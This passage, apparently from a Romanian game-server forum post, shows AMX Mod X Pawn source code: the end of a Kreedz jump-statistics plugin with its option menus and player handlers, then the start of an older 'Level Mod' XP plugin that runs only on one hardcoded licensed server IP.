		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJPRE_E", prefix);
		ljpre[id]=true;
	}
	else 
	{
		ljpre[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJPRE_D", prefix);
	}
}
public enable_sounds(id)
{
	if(uq_sounds)
	{
		if(enable_sound[id]==false) 
		{
			Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SOUND_E", prefix);
			enable_sound[id]=true;
		}
		else 
		{
			enable_sound[id]=false;
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D", prefix);
		}
	}
	else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D1", prefix);
}
public ShowedgeFail(id)
{
	if(Show_edge_Fail[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGEF_E", prefix);
		Show_edge_Fail[id]=true;
	}
	else 
	{
		Show_edge_Fail[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGEF_D", prefix);
	}
}
public Showedge(id)
{
	if(Show_edge[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGE_E", prefix);
		Show_edge[id]=true;
	}
	else 
	{
		Show_edge[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGE_D", prefix);
	}
}
public heightshow(id)
{
	if(height_show[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_FALLH_E", prefix);
		height_show[id]=true;
	}
	else 
	{
		height_show[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_FALLH_D", prefix);
	}
}
public ingame_st_stats(id)
{
	if(uq_istrafe)
	{
		if(kz_beam[id])
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D1", prefix);
		}
		else
		{
			if(ingame_strafe[id]==false) 
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_E", prefix);
				ingame_strafe[id]=true;
			}
			else 
			{
				ingame_strafe[id]=false;
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D", prefix);
			}
		}
	}
	else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D2", prefix);
	
}

public client_connect( id )
{
	oldljpre[id]=0;
	oldpre[id]=0;
	oldfail[id]=0;
	g_userConnected[id]=true;
	g_pBot[id]=false;
	
	static connectt[30];
	get_pcvar_string(kz_uq_connect, connectt, 30);
	
	format(connectt, 30, "_%s", connectt);

	if( contain(connectt, "a") > 0 )
		gHasColorChat[id] =true;
	else
		gHasColorChat[id] = false;
	if( contain(connectt, "b") > 0 )
		g_lj_stats[id] = true;
	else
		g_lj_stats[id] = false;
	if( contain(connectt, "c") > 0 )
		speedon[id]=true;
	else 
		speedon[id]=false;
	if( contain(connectt, "d") > 0 )
		showpre[id]=true;
	else
		showpre[id]=false;
	if( contain(connectt, "e") > 0 )
		streifstat[id]=true;
	else
		streifstat[id]=false;
	if( contain(connectt, "f") > 0 )
		kz_beam[id]=true;
	else
		kz_beam[id]=false;
	if( contain(connectt, "g") > 0 )
		kz_stats_pre[id]=true;
	else
		kz_stats_pre[id]=false;
	if( contain(connectt, "h") > 0 )
		failearly[id]=true;
	else
		failearly[id]=false;
	if( contain(connectt, "i") > 0 )
		multibhoppre[id]=true;
	else
		multibhoppre[id]=false;
	if( contain(connectt, "j") > 0 )
		showduck[id]=true;
	else
		showduck[id]=false;
	if( contain(connectt, "k") > 0 )
		ljpre[id]=true;
	else
		ljpre[id]=false;
	if( contain(connectt, "l") > 0 )
		Show_edge[id]=true;
	else
		Show_edge[id]=false;
	if( contain(connectt, "m") > 0 )
		Show_edge_Fail[id]=true;
	else
		Show_edge_Fail[id]=false;
	if( contain(connectt, "n") > 0 )
		enable_sound[id]=true;
	else
		enable_sound[id]=false;
	if( contain(connectt, "o") > 0 )
		ingame_strafe[id]=true;
	else
		ingame_strafe[id]=false;
	
	//for beta
	//ingame_strafe[id]=true;
	
	user_block[id][0]=uq_maxedge;
	user_block[id][1]=uq_minedge;
	min_prestrafe[id]=uq_min_pre;
	beam_type[id]=1;
	edgeshow[id]=true;	
	first_ground_bhopaem[id]=false;
	donehook[id]=false;
	OnGround[id]=false;
	serf_reset[id]=false;
	first_onground[id]=false;
	duckstring[id]=false;
	firstshow[id]=false;
	height_show[id]=false;
	Checkframes[id]=false;
	firstfall_ground[id]=false;
	h_jumped[id]=false;
	touch_ent[id]=false;
	ddafterJump[id]=false;
	ddstandcj[id]=false;
	UpcjFail[id]=false;
	slide_protec[id]=false;
	posibleScj[id]=false;
	x_jump[id]=false;
	ddforcj[id]=false;
	dropbhop[id]=false;
	ddnum[id]=0;
	hookcheck[id]=false;
	backwards[id]=false;
	ladderbug[id]=false;
	touch_somthing[id]=false;
	record_start[id]=0;
	duckbhop_bug_pre[id]=false;
	showtime_st_stats[id]=40;
	speedtype[id]=false;
	trigger_protection[id]=false;
	
	if(is_user_bot(id))
	{
		g_pBot[id]=true;
	}
	
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
	if( task_exists(id+89012, 0) )
		remove_task(id+89012, 0);

	if( task_exists(id+3313, 0) )
		remove_task(id+3313, 0);
	
	if( task_exists(id+3214, 0) )
		remove_task(id+3214, 0);
		
	if( task_exists(id+15237, 0) )
		remove_task(id+15237, 0);
		
	if( task_exists(id+212299, 0) )
		remove_task(id+212299, 0);
		
	if( task_exists(id+212398, 0) )
		remove_task(id+212398, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
}


public client_infochanged(id) {
	new name[65];
	
	get_user_info(id, "name", name,64); 
	
	if(!equali(name, g_playername[id]))
		copy(g_playername[id], 64, name);
}

public ResetHUD(id)
{
	if(is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id) )
	{
		if(firstshow[id]==false)
		{
			if( uq_airaccel==1 || uq_airaccel==100)
			{
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL100", prefix);
			}
			else if( uq_airaccel==0 || uq_airaccel==10)
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_AIRACCEL10", prefix);
			}
			else 
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL", prefix,uq_airaccel);		
				
			firstshow[id]=true;
			
			if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
			{
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SLIDE", prefix);
			}
		}
		
		firstfall_ground[id]=false;
		h_jumped[id]=false;
		
		ddafterJump[id]=false;
		UpcjFail[id]=false;
		slide_protec[id]=false;
		posibleScj[id]=false;
		x_jump[id]=false;
		ddforcj[id]=false;
		dropbhop[id]=false;
		ddnum[id]=0;
		donehook[id]=false;
		hookcheck[id]=false;
		backwards[id]=false;
		Checkframes[id]=false;
		first_ground_bhopaem[id]=false;
		touch_ent[id]=false;
		ladderbug[id]=false;
		touch_somthing[id]=false;
		ddstandcj[id]=false;
	}
	
}
public FwdPlayerSpawn(id)
{
	if( is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id))
	{
		if( !task_exists(id+434490, 0) )
			set_task(1.0, "tskFps", id+434490, "", 0, "b", 0);
			
		g_alive[id] = true;
		strafe_num[id]=0;
	}
}

public FwdPlayerDeath(id)
{
	if( task_exists(id, 0) )
		remove_task(id, 0);
		
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
	if( task_exists(id+89012, 0) )
		remove_task(id+89012, 0);
	
	if( task_exists(id+3313, 0) )
		remove_task(id+3313, 0);
	
	if( task_exists(id+3214, 0) )
		remove_task(id+3214, 0);
		
	if( task_exists(id+15237, 0) )
		remove_task(id+15237, 0);
	
	if( task_exists(id+212398, 0) )
		remove_task(id+212398, 0);
		
	g_alive[id] = false;
}

public client_disconnect(id)
{
	if(kz_sql == 1 || kz_sql == 2)
	{
		new tmp_str[12];
		num_to_str(g_sql_pid[id], tmp_str, 11);
		if(TrieKeyExists(JumpPlayers, tmp_str))
			TrieDeleteKey(JumpPlayers, tmp_str);
	}
	
	remove_beam_ent(id);
	
	player_admin[id]=false;
	g_pBot[id]=false;
	login[id]=false;
	g_userConnected[id]=false;
	OnGround[id]=false;
	g_alive[id]=false;
	
	
	if( task_exists(id, 0) )
		remove_task(id);
	
	firstshow[id]=false;
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
	if( task_exists(id+89012, 0) )
		remove_task(id+89012, 0);

	if( task_exists(id+3313, 0) )
		remove_task(id+3313, 0);
	
	if( task_exists(id+3214, 0) )
		remove_task(id+3214, 0);
		
	if( task_exists(id+15237, 0) )
		remove_task(id+15237, 0);
		
	if( task_exists(id+212299, 0) )
		remove_task(id+212299, 0);
		
	if( task_exists(id+212398, 0) )
		remove_task(id+212398, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
}
public reset_tops(id, level, cid)
{	
	if( !cmd_access(id, level, cid, 1) ) return PLUGIN_HANDLED;
	
	if(kz_sql == 0)
	{
		client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESET");
		server_print("%L",LANG_SERVER,"UQSTATS_RESET");
		
		TrieClear(JData);
		TrieClear(JData_Block);
	}
	else if(kz_sql == 1)
	{
		client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESETF");
		server_print("%L",LANG_SERVER,"UQSTATS_RESETF");
	}
		
	return PLUGIN_CONTINUE;
}
public Option(id)
{	
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU1");
	
	if(g_lj_stats[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11a");
		keys |= (1<<0);
	}
	else
	{
		keys |= (1<<0);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11b");
	}
	
	if(gHasColorChat[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12a");
		keys |= (1<<1);
	}
	else
	{
		keys |= (1<<1);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12b");
	}
	
	if(speedon[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13a");
		keys |= (1<<2);
	}
	else
	{
		keys |= (1<<2);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13b");
	}
	
	if(showpre[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14a");
		keys |= (1<<3);
	}
	else
	{
		keys |= (1<<3);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14b");
	}
	
	if(streifstat[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15a");
		keys |= (1<<4);
	}
	else
	{
		keys |= (1<<4);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15b");
	}
	
	if(kz_beam[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16a");
		keys |= (1<<5);
	}
	else
	{
		keys |= (1<<5);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16b");
	}
	
	if(showduck[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17a");
		keys |= (1<<6);
	}
	else
	{
		keys |= (1<<6);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17b");
	}
	if(failearly[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18a");
		keys |= (1<<7);
	}
	else
	{
		keys |= (1<<7);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18b");
	}

	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUNEXT");
	keys |= (1<<8);
		
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "StatsOptionMenu1");	
}

public OptionMenu1(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			cmdljStats(id);
			Option(id);
			
		}
		case 2:
		{
			cmdColorChat(id);
			Option(id);
		}
		case 3:
		{
			show_speed(id);
			Option(id);
		}
		case 4:
		{
			show_pre(id);
			Option(id);
		}
		case 5:
		{
			streif_stats(id);
			Option(id);
		}
		case 6:
		{
			cmdljbeam(id);
			Option(id);
		}
		case 7:
		{
			duck_show(id);
			Option(id);
		}
		case 8:
		{
			show_early(id);
			Option(id);
		}
		case 9:
		{
			Option2(id);
		}

	}
	return PLUGIN_HANDLED;
}
public Option2(id)
{	
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2");
	
	if(multibhoppre[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21a");
		keys |= (1<<0);
	}
	else
	{
		keys |= (1<<0);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21b");
	}
	if(Show_edge[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22a");
		keys |= (1<<1);
	}
	else
	{
		keys |= (1<<1);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22b");
	}
	if(Show_edge_Fail[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23a");
		keys |= (1<<2);
	}
	else
	{
		keys |= (1<<2);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23b");
	}
	
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU24",user_block[id][1]);
	keys |= (1<<3);
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU25",user_block[id][0]);
	keys |= (1<<4);
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU26",min_prestrafe[id]);
	keys |= (1<<5);
	
	if(beam_type[id]==1)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27a");
		keys |= (1<<6);
	}
	else if(beam_type[id]==2)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27b");
		keys |= (1<<6);
	}
	
	
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BACK");
	keys |= (1<<7);
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2NEXT");
	keys |= (1<<8);	
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "StatsOptionMenu2");
		
}

public OptionMenu2(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			multi_bhop(id);
			Option2(id);	
		}
		case 2:
		{
			Showedge(id);
			Option2(id);	
		}
		case 3:
		{
			ShowedgeFail(id);
			Option2(id);	
		}
		case 4:
		{
			user_block[id][1]=user_block[id][1]+10;
			if(user_block[id][1]>=user_block[id][0])
			{
				user_block[id][1]=uq_minedge;
			}
			Option2(id);	
		}
		case 5:
		{
			if(user_block[id][0]==uq_maxedge)
			{
				user_block[id][0]=user_block[id][1];
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE1",uq_maxedge);
			}
			user_block[id][0]=user_block[id][0]+10;
			Option2(id);	
		}
		case 6:
		{
			if(min_prestrafe[id]>=320)
			{
				min_prestrafe[id]=0;
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE2");
			}
			min_prestrafe[id]=min_prestrafe[id]+20;
			Option2(id);	
		}
		case 7:
		{
			if(beam_type[id]==1)
			{
				beam_type[id]=2;
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT1");
			}
			else
			{
				beam_type[id]=1;
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT2");
			}
			Option2(id);	
		}
		case 8:
		{
			Option(id);	
		}
		case 9:
		{
			Option3(id);	
		}
	}
	return PLUGIN_HANDLED;
}
public Option3(id)
{	
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3");
	
	if(enable_sound[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31a");
		keys |= (1<<0);
	}
	else
	{
		keys |= (1<<0);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31b");
	}
	if(showjofon[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32a");
		keys |= (1<<1);
	}
	else
	{
		keys |= (1<<1);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32b");
	}
	if(height_show[id])
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33a");
		keys |= (1<<2);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33b");
		keys |= (1<<2);
	}
	if(jofon[id])
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34a");
		keys |= (1<<3);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34b");
		keys |= (1<<3);
	}
	if(jheight_show[id])
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35a");
		keys |= (1<<4);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35b");
		keys |= (1<<4);
	}
	if(uq_istrafe)
	{
		if(ingame_strafe[id])
		{
			len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36a");
			keys |= (1<<5);
		}
		else
		{
			len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36b");
			keys |= (1<<5);
		}
		
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38",showtime_st_stats[id]/10);
	
		keys |= (1<<6);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU37");
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38F",showtime_st_stats[id]/10);
	}
		
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3BACK");
	keys |= (1<<8);
		
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "StatsOptionMenu3");
		
}
public OptionMenu3(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			enable_sounds(id);
			Option3(id);	
		}
		case 2:
		{
			show_jof(id);
			Option3(id);	
		}
		case 3:
		{
			heightshow(id);
			Option3(id);	
		}
		case 4:
		{
			trainer_jof(id);
			Option3(id);
		}
		case 5:
		{
			show_jheight(id);
			Option3(id);
		}
		case 6:
		{
			ingame_st_stats(id);
			Option3(id);
		}
		case 7:
		{
			if(showtime_st_stats[id]==200)
			{
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU3MAXSEC");
				showtime_st_stats[id]=0;
			}
			showtime_st_stats[id]=showtime_st_stats[id]+10;

			Option3(id);
		}
	
		case 9:
		{
			Option2(id);	
		}
	}
	return PLUGIN_HANDLED;
}
public native_kz_get_configsdir(name[], len)
{
	param_convert(1);
	new lalin[64];
	get_localinfo("amxx_configsdir", lalin,63);
	return formatex(name, len, "%s/%s", lalin, KZ_DIR);
}

public plugin_end() 
{ 
	if(kz_sql == 1)
	{
		if(DB_TUPLE)
			SQL_FreeHandle(DB_TUPLE);
		if(SqlConnection)
			SQL_FreeHandle(SqlConnection);
		
		TrieDestroy(JumpPlayers);
	}
	else if(kz_sql == 0)
	{
		TrieDestroy(JData);
		TrieDestroy(JData_Block);
	}
}

un levelmod mai vechi

Code: Select all

/* AMX Mod X
*  Level Mod Plugin
*
*  by 
*
*  This file is part of AMX Mod X.
*
*
*  This program is free software; you can redistribute it and/or modify it
*  under the terms of the GNU General Public License as published by the
*  Free Software Foundation; either version 2 of the License, or (at
*  your option) any later version.
*
*  This program is distributed in the hope that it will be useful, but
*  WITHOUT ANY WARRANTY; without even the implied warranty of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
*  General Public License for more details.
*
*  You should have received a copy of the GNU General Public License
*  along with this program; if not, write to the Free Software Foundation, 
*  Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*  In addition, as a special exception, the author gives permission to
*  link the code of this program with the Half-Life Game Engine ("HL
*  Engine") and Modified Game Libraries ("MODs") developed by Valve, 
*  L.L.C ("Valve"). You must obey the GNU General Public License in all
*  respects for all of the code used other than the HL Engine and MODs
*  from Valve. If you modify this file, you may extend this exception
*  to your version of the file, but you are not obligated to do so. If
*  you do not wish to do so, delete this exception statement from your
*  version.
*/

#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <hamsandwich>
#include <nvault>
#include <fakemeta>
#include <cstrike>
#include <engine>
#include <colorchat>

static const ServerLicensedIp[ ] = "89.40.233.28";

new const PLUGIN_NAME[] = "Level Mod";
new const hnsxp_version[] = "5.1";

new const LEVELS[100] = {
	
	100, // 1
	300, // 2
	500, // 3
	700, // 4
	900, // 5
	1000, // 6
	1500, // 7
	2000, // 8
	2500, // 10
	3000, // 11
	4000, // 12
	5000, // 13
	6000, // 14
	7000, // 15
	10000, // 16
	12000, // 17
	13000, // 18
	15000, // 19
	20000, // 20
	25000, // 21
	30000, // 22
	35000, // 23
	40000, // 24
	45000, // 25
	50000, // 26
	60000, // 27
	70000, // 28
	80000, // 29
	100000, // 30
	120000, // 31
	130000, //32
	140000, // 33
	150000, // 34
	160000, // 35
	170000, // 36
	180000, // 37
	190000, // 38
	195000, // 39
	200000, // 40
	250000, // 41
	300000, // 42
	350000, // 43
	400000, // 44
	500000, // 45
	600000, // 46
	700000, // 47
	800000, // 48
	900000, // 49
	1000000, // 50
	1300000, // 51
	1500000, // 2
	1800000, // 3
	2000000, // 4
	2250000, // 5
	2500000, // 6
	2750000, // 7
	2900000, // 8
	3000000, // 10
	3500000, // 11
	4000000, // 12
	4500000, // 13
	5000000, // 14
	5500000, // 15
	6000000, // 16
	6500000, // 17
	7000000, // 18
	7500000, // 19
	8500000, // 20
	9000000, // 21
	10000000, // 22
	11000000, // 23
	22000000, // 24
	23000000, // 25
	24000000, // 26
	25000000, // 27
	26000000, // 28
	27000000, // 29
	28000000, // 30
	29000000, // 31
	30000000, //32
	40000000, // 33
	50000000, // 34
	60000000, // 35
	70000000, // 36
	80000000, // 37
	90000000, // 38
	100000000, // 39
	150000000, // 40
	200000000, // 41
	300000000, // 42
	400000000, // 43
	500000000, // 44
	600000000, // 45
	700000000, // 46
	750000000, // 47
	850000000, // 48
	909990000, // 97
	1000000000, // 98
	1000500000, // 99
	2000000000 // 100
}

new hnsxp_playerxp[33], hnsxp_playerlevel[33];
new hnsxp_kill, hnsxp_savexp, g_hnsxp_vault, tero_win, vip_enable, vip_xp;



new awp[33]=0,respawn[33]=0,bool:has_gravity[33],bool:has_godmode[33],accesari[33]=0,Float:Gravity//,gRadioMenu
const KEYSMENU = MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5|MENU_KEY_6|MENU_KEY_7|MENU_KEY_8|MENU_KEY_9|MENU_KEY_0


public plugin_init()
{
	new szIp[ 25 ];
	get_user_ip( 0, szIp, sizeof ( szIp ) -1, 1 );
	if( equal( szIp, ServerLicensedIp ) )
	{
	
		register_plugin(PLUGIN_NAME, hnsxp_version, "");
		
		RegisterHam(Ham_Spawn, "player", "hnsxp_spawn", 1);
		RegisterHam(Ham_Killed, "player", "hnsxp_death", 1);
		
		hnsxp_savexp = register_cvar("hnsxp_savexp","1");
		hnsxp_kill = register_cvar("hnsxp_kill", "1200");
		tero_win = register_cvar("hnsxp_terowin_xp","500");
		vip_enable = register_cvar("hnsxp_vip_enable","1");
		vip_xp = register_cvar("hnsxp_vip_xp","900");
		
		register_forward(FM_ClientUserInfoChanged, "ClientUserInfoChanged")
		
		register_clcmd("say /level","plvl");
		register_clcmd("say /xp","plvl");
		
		register_clcmd("say /levels","plvls");
		register_clcmd("say_team /level","plvl");
		register_clcmd("say_team /xp","plvl");
		
		register_clcmd("say /lvl","tlvl");
		g_hnsxp_vault = nvault_open("deathrun_xp");
		
		register_concmd("amx_levelxx", "cmd_give_level", ADMIN_RCON, "<target> <amount>");
		register_concmd("amx_takelevelxx", "cmd_take_level", ADMIN_RCON, "<target> <amount>");
		
		register_concmd("amx_xpxx", "cmd_give_xp", ADMIN_RCON, "<target> <amount>");
		register_concmd("amx_takexpxx", "cmd_take_xp", ADMIN_RCON, "<target> <amount>");
		
		register_event("SendAudio", "t_win", "a", "2&%!MRAD_terwin")
		register_event ( "CurWeapon", "CurrentWeapon", "be", "1=1" );
		
		register_clcmd ( "say /levels", "cmdLevels" );
		
		
		register_clcmd("say /lvlpower","LevelMenu");
		register_logevent ( "round_start", 2, "1=Round_Start" );
		register_event("CurWeapon" , "CWeapon" , "be" , "1=1" );
		register_event("TextMsg", "eRestart", "a", "2&#Game_C", "2&#Game_w")
		register_menu("Game Menu", KEYSMENU, "radio") 
	}
	
	else
	{
		new szPluginName[ 32 ];
		formatex( szPluginName, sizeof( szPluginName ) -1, "[IP Nelicentiat] %s", PLUGIN_NAME );
		register_plugin(  szPluginName,  hnsxp_version,  ""  );
		server_print( "[%s] Nu detii o licenta valabila ! Plugin-ul nu va functiona corespunzator !", PLUGIN_NAME );
		server_print( "[%s] Pentru mai multe detalii Skype: levin.akee !", PLUGIN_NAME );
		server_print( "[%s] Ip-ul Licentiat: %s, Ip-ul Serverului: %s", PLUGIN_NAME, szIp, ServerLicensedIp );
		pause( "ade" );
	}
}

public plugin_natives()
{
	register_library("levelmod.inc");
	register_native("get_user_xp","_get_user_xp");
	register_native("get_user_level","_get_user_level");
}

public _get_user_xp(plugin, params)
{
	return hnsxp_playerxp[get_param(1)];
}

public _get_user_level(plugin, params)
{
	return hnsxp_playerlevel[get_param(1)];
}

public hnsxp_spawn(id)
{
	//for(new id=1;id<=get_maxplayers();id++)
	//{
	if ( is_user_alive ( id ) )
	{

		/*if(hnsxp_playerxp[attacker] > 2000000000) // sau level mai mare de 100
			return;*/
		//else
								//  101			         	>=   /  >
		if((hnsxp_playerlevel[id] < 100 && (hnsxp_playerxp[id] > LEVELS[hnsxp_playerlevel[id]]))) //new..
		{
			MesajColorat(id,"!echipa[%s] !verdeAi trecut levelul", PLUGIN_NAME);

			/*if(hnsxp_playerxp[id] >= LEVELS[hnsxp_playerlevel[id]])
			{
				MesajColorat(id,"!echipa[%s] !verdeAi trecut levelul", PLUGIN_NAME);
			}*/
								//> / >=
			while(hnsxp_playerxp[id] > LEVELS[hnsxp_playerlevel[id]])
			{
				hnsxp_playerlevel[id] += 1;
				//MesajColorat(id,"!echipa[%s] !verdeAi trecut levelul", PLUGIN_NAME);   bun
			}
		}
		set_task(12.0, "gItem", id);
	}
	//}
}


public LevelMenu(id)
{
	if(hnsxp_playerlevel[id]>=70)
	{
		ShowMenu(id)
	}
	else
	{
		MesajColorat(id, "!echipa[Level Mod] !verdeTrebuie sa ai level!echipa minim 70!verde ca sa accesezi acest!echipa Menu")
		return PLUGIN_HANDLED
	}
	return PLUGIN_HANDLED
}
public eRestart()
{
	for(new id=1;id<=get_maxplayers();id++)
	{
		//accesari[id]=0
		//awp[id]=0
		//respawn[id]=0
		has_godmode[id]=false
		has_gravity[id]=false
	}
}
public round_start ( )
{
	new iPlayers [ 32 ], iNum, i;
	get_players ( iPlayers, iNum, "ch" );

	if ( !iNum )	return;

	for ( i = 0; i < iNum; i++ )
	{
		new id = iPlayers [ i ];

		
		if ( awp[ id ] > 0 )
		{
			awp [ id ]--;
		}
		else if ( awp[ id ] > 3 ) // else out
		{
			awp [ id ] = 0;
		}
		
		
		
		if ( respawn[ id ] > 0 )
		{
			respawn [ id ]--;
		}
		else if ( respawn[ id ] > 3 )
		{
			respawn [ id ] = 0;
		}
		
		accesari[id]=0
	}
}
public client_connect(id)
{
